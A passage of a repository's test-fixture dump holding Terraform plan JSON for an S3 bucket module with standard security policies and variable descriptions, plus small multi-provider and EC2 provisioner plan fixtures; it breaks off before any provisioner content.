\"constant_value\": \"Deny\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"*\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"*\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"denyIncorrectEncryptionHeaders\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_deny_incorrect_encryption_headers\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"deny_incorrect_kms_key_sse\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:PutObject\"\n                                                ]\n                                            },\n                                            \"condition\": [\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"StringNotEquals\"\n                                                    },\n                                                    \"values\": {\n                                                        \"references\": [\n                                                            \"var.allowed_kms_key_arn\"\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"s3:x-amz-server-side-encryption-aws-kms-key-id\"\n                                                    }\n                                                }\n                                            ],\n                                            \"effect\": {\n                                                \"constant_value\": \"Deny\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"*\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"*\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"denyIncorrectKmsKeySse\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_deny_incorrect_kms_key_sse\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.deny_insecure_transport\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"deny_insecure_transport\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:*\"\n                                                ]\n                                            },\n                                            \"condition\": [\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"Bool\"\n                                                    },\n                                                    \"values\": {\n                                                        \"constant_value\": [\n                                                            \"false\"\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"aws:SecureTransport\"\n                                                    }\n                                                }\n                                            ],\n                                            \"effect\": {\n                                                \"constant_value\": \"Deny\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"*\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"*\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\",\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"denyInsecureTransport\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_deny_insecure_transport_policy\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.deny_unencrypted_object_uploads\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"deny_unencrypted_object_uploads\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:PutObject\"\n                                                ]\n                                            },\n                                            \"condition\": [\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"Null\"\n                                                    },\n                                                    \"values\": {\n                                                        \"constant_value\": [\n                                                            true\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"s3:x-amz-server-side-encryption\"\n                                                    }\n                                                }\n                                            ],\n                                            \"effect\": {\n                                                \"constant_value\": \"Deny\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"*\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"*\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"denyUnencryptedObjectUploads\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_deny_unencrypted_object_uploads\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.elb_log_delivery\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"elb_log_delivery\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:PutObject\"\n                                                ]\n                                            },\n                                            \"effect\": {\n                                                \"constant_value\": \"Allow\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"logdelivery.elasticloadbalancing.amazonaws.com\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"Service\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_elb_log_delivery_policy\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"inventory_and_analytics_destination_policy\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:PutObject\"\n                                                ]\n                                            },\n                                            \"condition\": [\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"ArnLike\"\n                                                    },\n                                                    \"values\": {\n                                                        \"references\": [\n                                                            \"var.inventory_self_source_destination\",\n                                                            \"aws_s3_bucket.this[0].arn\",\n                                                            \"aws_s3_bucket.this[0]\",\n                                                            \"aws_s3_bucket.this\",\n                                                            \"var.inventory_source_bucket_arn\",\n                                                            \"var.analytics_self_source_destination\",\n                                                            \"aws_s3_bucket.this[0].arn\",\n                                                            \"aws_s3_bucket.this[0]\",\n                                                            \"aws_s3_bucket.this\",\n                                                            \"var.analytics_source_bucket_arn\"\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"aws:SourceArn\"\n                                                    }\n                                                },\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"StringEquals\"\n                                                    },\n                                                    \"values\": {\n                                                        \"references\": [\n                                                            \"var.inventory_self_source_destination\",\n                                                            \"data.aws_caller_identity.current.id\",\n                                                            \"data.aws_caller_identity.current\",\n                                                            \"var.inventory_source_account_id\",\n                                                            \"var.analytics_self_source_destination\",\n                                                            \"data.aws_caller_identity.current.id\",\n                                                            \"data.aws_caller_identity.current\",\n                                                            \"var.analytics_source_account_id\"\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"aws:SourceAccount\"\n                                                    }\n                                                },\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"StringEquals\"\n                                                    },\n                                                    \"values\": {\n                                                        \"constant_value\": [\n                                                            \"bucket-owner-full-control\"\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"s3:x-amz-acl\"\n                                                    }\n                                                }\n                                            ],\n                                            \"effect\": {\n                                                \"constant_value\": \"Allow\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"s3.amazonaws.com\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"Service\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"destinationInventoryAndAnalyticsPolicy\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_inventory_destination_policy\",\n                                        \"var.attach_analytics_destination_policy\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.lb_log_delivery\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"lb_log_delivery\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:PutObject\"\n                                                ]\n                                            },\n                                            \"condition\": [\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"StringEquals\"\n                                                    },\n                                                    \"values\": {\n                                                        \"constant_value\": [\n                                                            \"bucket-owner-full-control\"\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"s3:x-amz-acl\"\n                                                    }\n                                                }\n                                            ],\n                                            \"effect\": {\n                                                \"constant_value\": \"Allow\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"delivery.logs.amazonaws.com\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"Service\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"AWSLogDeliveryWrite\"\n                                            }\n                                        },\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:GetBucketAcl\",\n                                                    \"s3:ListBucket\"\n                                                ]\n                                            },\n                                            \"effect\": {\n                                                \"constant_value\": \"Allow\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"delivery.logs.amazonaws.com\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"Service\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"AWSLogDeliveryAclCheck\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_lb_log_delivery_policy\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.require_latest_tls\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"require_latest_tls\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:*\"\n                                                ]\n                                            },\n                                            \"condition\": [\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"NumericLessThan\"\n                                                    },\n                                                    \"values\": {\n                                                        \"constant_value\": [\n                                                            \"1.2\"\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"s3:TlsVersion\"\n                                                    }\n                                                }\n                                            ],\n                                            \"effect\": {\n                                                \"constant_value\": \"Deny\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"*\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"*\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\",\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"denyOutdatedTLS\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_require_latest_tls_policy\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_partition.current\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_partition\",\n                                \"name\": \"current\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"schema_version\": 0\n                            },\n                            {\n                                \"address\": \"data.aws_region.current\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_region\",\n                                \"name\": \"current\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"schema_version\": 0\n                            }\n                        ],\n                        \"variables\": {\n                            \"acceleration_status\": {\n                                \"default\": null,\n                                \"description\": \"(Optional) Sets the accelerate configuration of an existing bucket. Can be Enabled or Suspended.\"\n                            },\n                            \"access_log_delivery_policy_source_accounts\": {\n                                \"default\": [],\n                                \"description\": \"(Optional) List of AWS Account IDs should be allowed to deliver access logs to this bucket.\"\n                            },\n                            \"access_log_delivery_policy_source_buckets\": {\n                                \"default\": [],\n                                \"description\": \"(Optional) List of S3 bucket ARNs wich should be allowed to deliver access logs to this bucket.\"\n                            },\n                            \"acl\": {\n                                \"default\": null,\n                                \"description\": \"(Optional) The canned ACL to apply. Conflicts with `grant`\"\n                            },\n                            \"allowed_kms_key_arn\": {\n                                \"default\": null,\n                                \"description\": \"The ARN of KMS key which should be allowed in PutObject\"\n                            },\n                            \"analytics_configuration\": {\n                                \"default\": {},\n                                \"description\": \"Map containing bucket analytics configuration.\"\n                            },\n                            \"analytics_self_source_destination\": {\n                                \"default\": false,\n                                \"description\": \"Whether or not the analytics source bucket is also the destination bucket.\"\n                            },\n                            \"analytics_source_account_id\": {\n                                \"default\": null,\n                                \"description\": \"The analytics source account id.\"\n                            },\n                            \"analytics_source_bucket_arn\": {\n                                \"default\": null,\n                                \"description\": \"The analytics source bucket ARN.\"\n                            },\n                            \"attach_access_log_delivery_policy\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should have S3 access log delivery policy attached\"\n                            },\n                            \"attach_analytics_destination_policy\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should have bucket analytics destination policy attached.\"\n                            },\n                            \"attach_deny_incorrect_encryption_headers\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should deny incorrect encryption headers policy attached.\"\n                            },\n                            \"attach_deny_incorrect_kms_key_sse\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket policy should deny usage of incorrect KMS key SSE.\"\n                            },\n                            \"attach_deny_insecure_transport_policy\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should have deny non-SSL transport policy attached\"\n                            },\n                            \"attach_deny_unencrypted_object_uploads\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should deny unencrypted object uploads policy attached.\"\n                            },\n                            \"attach_elb_log_delivery_policy\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should have ELB log delivery policy attached\"\n                            },\n                            \"attach_inventory_destination_policy\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should have bucket inventory destination policy attached.\"\n                            },\n                            \"attach_lb_log_delivery_policy\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should have ALB/NLB log delivery policy attached\"\n                            },\n                            \"attach_policy\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)\"\n                            },\n                            \"attach_public_policy\": {\n                                \"default\": true,\n                                \"description\": \"Controls if a user defined public bucket policy will be attached (set to `false` to allow upstream to apply defaults to the bucket)\"\n                            },\n                            \"attach_require_latest_tls_policy\": {\n                                \"default\": false,\n                                \"description\": \"Controls if S3 bucket should require the latest version of TLS\"\n                            },\n                            \"block_public_acls\": {\n                                \"default\": true,\n                                \"description\": \"Whether Amazon S3 should block public ACLs for this bucket.\"\n                            },\n                            \"block_public_policy\": {\n                                \"default\": true,\n                                \"description\": \"Whether Amazon S3 should block public bucket policies for this bucket.\"\n                            },\n                            \"bucket\": {\n                                \"default\": null,\n                                \"description\": \"(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name.\"\n                            },\n                            \"bucket_prefix\": {\n                                \"default\": null,\n                                \"description\": \"(Optional, Forces new resource) Creates a unique bucket name beginning with the specified prefix. Conflicts with bucket.\"\n                            },\n                            \"control_object_ownership\": {\n                                \"default\": false,\n                                \"description\": \"Whether to manage S3 Bucket Ownership Controls on this bucket.\"\n                            },\n                            \"cors_rule\": {\n                                \"default\": [],\n                                \"description\": \"List of maps containing rules for Cross-Origin Resource Sharing.\"\n                            },\n                            \"create_bucket\": {\n                                \"default\": true,\n                                \"description\": \"Controls if S3 bucket should be created\"\n                            },\n                            \"expected_bucket_owner\": {\n                                \"default\": null,\n                                \"description\": \"The account ID of the expected bucket owner\"\n                            },\n                            \"force_destroy\": {\n                                \"default\": false,\n                                \"description\": \"(Optional, Default:false ) A boolean that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable.\"\n                            },\n                            \"grant\": {\n                                \"default\": [],\n                                \"description\": \"An ACL policy grant. Conflicts with `acl`\"\n                            },\n                            \"ignore_public_acls\": {\n                                \"default\": true,\n                                \"description\": \"Whether Amazon S3 should ignore public ACLs for this bucket.\"\n                            },\n                            \"intelligent_tiering\": {\n                                \"default\": {},\n                                \"description\": \"Map containing intelligent tiering configuration.\"\n                            },\n                            \"inventory_configuration\": {\n                                \"default\": {},\n                                \"description\": \"Map containing S3 inventory configuration.\"\n                            },\n                            \"inventory_self_source_destination\": {\n                                \"default\": false,\n                                \"description\": \"Whether or not the inventory source bucket is also the destination bucket.\"\n                            },\n                            \"inventory_source_account_id\": {\n                                \"default\": null,\n                                \"description\": \"The inventory source account id.\"\n                            },\n                            \"inventory_source_bucket_arn\": {\n                                \"default\": null,\n                                \"description\": \"The inventory source bucket ARN.\"\n                            },\n                            \"lifecycle_rule\": {\n                                \"default\": [],\n                                \"description\": \"List of maps containing configuration of object lifecycle management.\"\n                            },\n                            \"logging\": {\n                                \"default\": {},\n                                \"description\": \"Map containing access bucket logging configuration.\"\n                            },\n                            \"metric_configuration\": {\n                                \"default\": [],\n                                \"description\": \"Map containing bucket metric configuration.\"\n                            },\n                            \"object_lock_configuration\": {\n                                \"default\": {},\n                                \"description\": \"Map containing S3 object locking configuration.\"\n                            },\n                            \"object_lock_enabled\": {\n                                \"default\": false,\n                                \"description\": \"Whether S3 bucket should have an Object Lock configuration enabled.\"\n                            },\n                            \"object_ownership\": {\n                                \"default\": \"BucketOwnerEnforced\",\n                                \"description\": \"Object ownership. Valid values: BucketOwnerEnforced, BucketOwnerPreferred or ObjectWriter. 'BucketOwnerEnforced': ACLs are disabled, and the bucket owner automatically owns and has full control over every object in the bucket. 'BucketOwnerPreferred': Objects uploaded to the bucket change ownership to the bucket owner if the objects are uploaded with the bucket-owner-full-control canned ACL. 'ObjectWriter': The uploading account will own the object if the object is uploaded with the bucket-owner-full-control canned ACL.\"\n                            },\n                            \"owner\": {\n                                \"default\": {},\n                                \"description\": \"Bucket owner's display name and ID. Conflicts with `acl`\"\n                            },\n                            \"policy\": {\n                                \"default\": null,\n                                \"description\": \"(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide.\"\n                            },\n                            \"replication_configuration\": {\n                                \"default\": {},\n                                \"description\": \"Map containing cross-region replication configuration.\"\n                            },\n                            \"request_payer\": {\n                                \"default\": null,\n                                \"description\": \"(Optional) Specifies who should bear the cost of Amazon S3 data transfer. Can be either BucketOwner or Requester. By default, the owner of the S3 bucket would incur the costs of any data transfer. See Requester Pays Buckets developer guide for more information.\"\n                            },\n                            \"restrict_public_buckets\": {\n                                \"default\": true,\n                                \"description\": \"Whether Amazon S3 should restrict public bucket policies for this bucket.\"\n                            },\n                            \"server_side_encryption_configuration\": {\n                                \"default\": {},\n                                \"description\": \"Map containing server-side encryption configuration.\"\n                            },\n                            \"tags\": {\n                                \"default\": {},\n                                \"description\": \"(Optional) A mapping of tags to assign to the bucket.\"\n                            },\n                            \"versioning\": {\n                                \"default\": {},\n                                \"description\": \"Map containing versioning configuration.\"\n                            },\n                            \"website\": {\n                                \"default\": {},\n                                \"description\": \"Map containing static web-site hosting or redirect configuration.\"\n                            }\n                        }\n                    },\n                    \"version_constraint\": \"4.0.1\"\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/plan_multiple_providers/multiple_providers.tf",
    "content": "provider \"aws\" {\n    region = \"us-east-1\"\n}\n\nprovider \"aws\" {\n    region = \"us-east-2\"\n    alias = \"ohio\"\n}\nprovider \"aws\" {\n    region = \"us-west-2\"\n    alias = \"oregon\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/plan_multiple_providers/tfplan.json",
    "content": "{\"format_version\":\"1.2\",\"terraform_version\":\"1.10.5\",\"planned_values\":{\"root_module\":{}},\"configuration\":{\"provider_config\":{\"aws\":{\"name\":\"aws\",\"full_name\":\"registry.terraform.io/hashicorp/aws\",\"expressions\":{\"region\":{\"constant_value\":\"us-east-1\"}}},\"aws.ohio\":{\"name\":\"aws\",\"full_name\":\"registry.terraform.io/hashicorp/aws\",\"alias\":\"ohio\",\"expressions\":{\"region\":{\"constant_value\":\"us-east-2\"}}},\"aws.oregon\":{\"name\":\"aws\",\"full_name\":\"registry.terraform.io/hashicorp/aws\",\"alias\":\"oregon\",\"expressions\":{\"region\":{\"constant_value\":\"us-west-2\"}}}},\"root_module\":{}},\"timestamp\":\"2025-03-19T18:18:14Z\",\"applyable\":false,\"complete\":true,\"errored\":false}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_provisioners/tfplan.json",
    "content": "{\n  \"format_version\": \"1.2\",\n  \"terraform_version\": \"1.5.7\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_instance.web\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-09a5b0b7edf08843d\",\n            \"credit_specification\": [],\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"instance_type\": \"t3.micro\",\n            \"launch_template\": [],\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"HelloWorld\"\n            },\n            \"tags_all\": {\n              \"Name\": \"HelloWorld\"\n            },\n            \"timeouts\": null,\n            \"user_data_replace_on_change\": false,\n            \"volume_tags\": null\n          },\n          \"sensitive_values\": {\n            \"capacity_reservation_specification\": [],\n            \"cpu_options\": [],\n            \"credit_specification\": [],\n            \"ebs_block_device\": [],\n            \"enclave_options\": [],\n            \"ephemeral_block_device\": [],\n            \"instance_market_options\": [],\n            \"ipv6_addresses\": [],\n            \"launch_template\": [],\n            \"maintenance_options\": [],\n            \"metadata_options\": [],\n            \"network_interface\": [],\n            \"private_dns_name_options\": [],\n            \"root_block_device\": [],\n            \"secondary_private_ips\": [],\n            \"security_groups\": [],\n            \"tags\": {},\n            \"tags_all\": {},\n            \"vpc_security_group_ids\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_instance.web\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"web\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-09a5b0b7edf08843d\",\n          \"credit_specification\": [],\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"instance_type\": \"t3.micro\",\n          \"launch_template\": [],\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"HelloWorld\"\n          },\n          \"tags_all\": {\n            \"Name\": \"HelloWorld\"\n          },\n          \"timeouts\": null,\n          \"user_data_replace_on_change\": false,\n          \"volume_tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"capacity_reservation_specification\": true,\n          \"cpu_core_count\": true,\n          \"cpu_options\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"disable_api_stop\": true,\n          \"disable_api_termination\": true,\n          \"ebs_block_device\": true,\n          \"ebs_optimized\": true,\n          \"enclave_options\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"host_resource_group_arn\": true,\n          \"iam_instance_profile\": true,\n          \"id\": true,\n          \"instance_initiated_shutdown_behavior\": true,\n          \"instance_lifecycle\": true,\n          \"instance_market_options\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"launch_template\": [],\n          \"maintenance_options\": true,\n          \"metadata_options\": true,\n          \"monitoring\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"placement_partition_number\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_dns_name_options\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"spot_instance_request_id\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tags_all\": {},\n          \"tenancy\": true,\n          \"user_data\": true,\n          \"user_data_base64\": true,\n          \"vpc_security_group_ids\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"capacity_reservation_specification\": [],\n          \"cpu_options\": [],\n          \"credit_specification\": [],\n          \"ebs_block_device\": [],\n          \"enclave_options\": [],\n          \"ephemeral_block_device\": [],\n          \"instance_market_options\": [],\n          \"ipv6_addresses\": [],\n          \"launch_template\": [],\n          \"maintenance_options\": [],\n          \"metadata_options\": [],\n          \"network_interface\": [],\n          \"private_dns_name_options\": [],\n          \"root_block_device\": [],\n          \"secondary_private_ips\": [],\n          \"security_groups\": [],\n          \"tags\": {},\n          \"tags_all\": {},\n          \"vpc_security_group_ids\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"expressions\": {\n          \"access_key\": {\n            \"constant_value\": \"mock_access_key\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-1\"\n          },\n          \"secret_key\": {\n            \"constant_value\": \"mock_secret_key\"\n          },\n          \"skip_credentials_validation\": {\n            \"constant_value\": true\n          },\n          \"skip_metadata_api_check\": {\n            \"constant_value\": true\n          },\n          \"skip_requesting_account_id\": {\n            \"constant_value\": true\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_instance.web\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web\",\n          \"provider_config_key\": \"aws\",\n          \"provisioners\": [\n            {\n         